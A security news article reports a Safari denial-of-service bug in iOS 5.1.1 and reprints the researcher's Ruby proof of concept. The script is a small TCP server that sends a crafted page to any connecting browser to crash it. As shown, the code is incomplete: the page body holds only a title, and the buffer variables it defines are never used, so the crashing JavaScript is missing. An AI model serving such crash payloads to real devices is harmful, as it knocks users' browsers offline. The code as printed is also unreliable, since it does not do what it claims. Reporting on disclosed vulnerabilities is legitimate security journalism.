Denial of service found in iOS 5.1.1

Powered by SC Magazine
 

Crashes updated iPads, iPhones.

A denial of service attack has been disclosed in the latest version of Apple iOS.

The attack targets Safari in iOS 5.1.1 and a proof of concept was published online.

Alienvault security researcher Alberto Ortega said the attack may also affect previous versions of the Apple operating system.

The attack was successfully demonstrated on iPhone, iPad and iPod Touch.

Ortega told SC Magazine the error was a "step to achieve a real exploitation".

"iOS has a lot of mitigations to avoid successful exploitation," Ortega said. "This software has errors and holes but you will need to bypass those hard mitigations and find more weaknesses  to have something "usable'."

Ortega reported the error to Apple at the time of disclosure but had no response from the notoriously security silent company.

“When JavaScript function match() gets a big buffer as parameter the browser unexpectedly crashes. By extension, the function search() is affected too,” Ortega said in the advisory.

require "socket"
require "optparse"

# Buffer values
chr = "A"
# The size of buffer needed may vary depending
# on the device and the iOS version.
buffer_len = 925000

# Magic packet
body = "\
\n\
Crash PoC\n\
\n\
";

def help()
  puts "iOS <= v5.1.1 Safari Browser JS match(), search() Crash PoC"
  puts "#{$0} -p bind_port [-h bind_address] [--verbose]"
end

# Parsing options
opts = {}
optparser = OptionParser.new do |op|
  op.on("-h", "--host HOST") do |p|
    opts["host"] = p
  end
  op.on("-p", "--port PORT") do |p|
    opts["port"] = p
  end
  op.on("-v", "--verbose") do |p|
    opts["verbose"] = true
  end
end

begin
  optparser.parse!
rescue
  help()
  exit 1
end

if (opts.length == 0 || opts["port"] == nil)
  help()
  exit 1
end

if (opts["verbose"] != nil)
  debug = true
else
  debug = false
end
if (opts["host"] != nil)
  host = opts["host"]
else
  host = "0.0.0.0"
end
port = opts["port"]

# Building server
if debug
  puts "Buffer -> #{chr}*#{buffer_len}"
end

begin
  serv = TCPServer.new(host, port)
  puts "Listening on #{host}:#{port.to_s} ..."
rescue
  puts "Error listening on #{host}:#{port.to_s}"
  exit 1
end

begin
  s = serv.accept()
  if debug
    puts "Client connected, waiting petition ..."
  end
  data = s.recv(1000)
  if debug
    puts "Sending crafted packet ..."
  end
  s.print(body)
  if debug
    puts "Closing connection ..."
  end
  s.close()
  puts "Done!"
rescue
  puts "Error sending data"
  exit 1

end

Copyright © SC Magazine, Australia


Denial of service found in iOS 5.1.1
 
 
 
Top Stories
Matching databases to Linux distros
Reviewed: OS-repository DBMSs, MariaDB vs MySQL.
 
Coalition's NBN cost-benefit study finds in favour of MTM
FTTP costs too much, would take too long.
 
Who'd have picked a BlackBerry for the Internet of Things?
[Blog] BlackBerry has a more secure future in the physical world.
 
 
Sign up to receive iTnews email bulletins
   FOLLOW US...
Latest Comments
Polls
Which is the most prevalent cyber attack method your organisation faces?




   |   View results
Phishing and social engineering
  71%
 
Advanced persistent threats
  3%
 
Unpatched or unsupported software vulnerabilities
  11%
 
Denial of service attacks
  6%
 
Insider threats
  10%
TOTAL VOTES: 743

Vote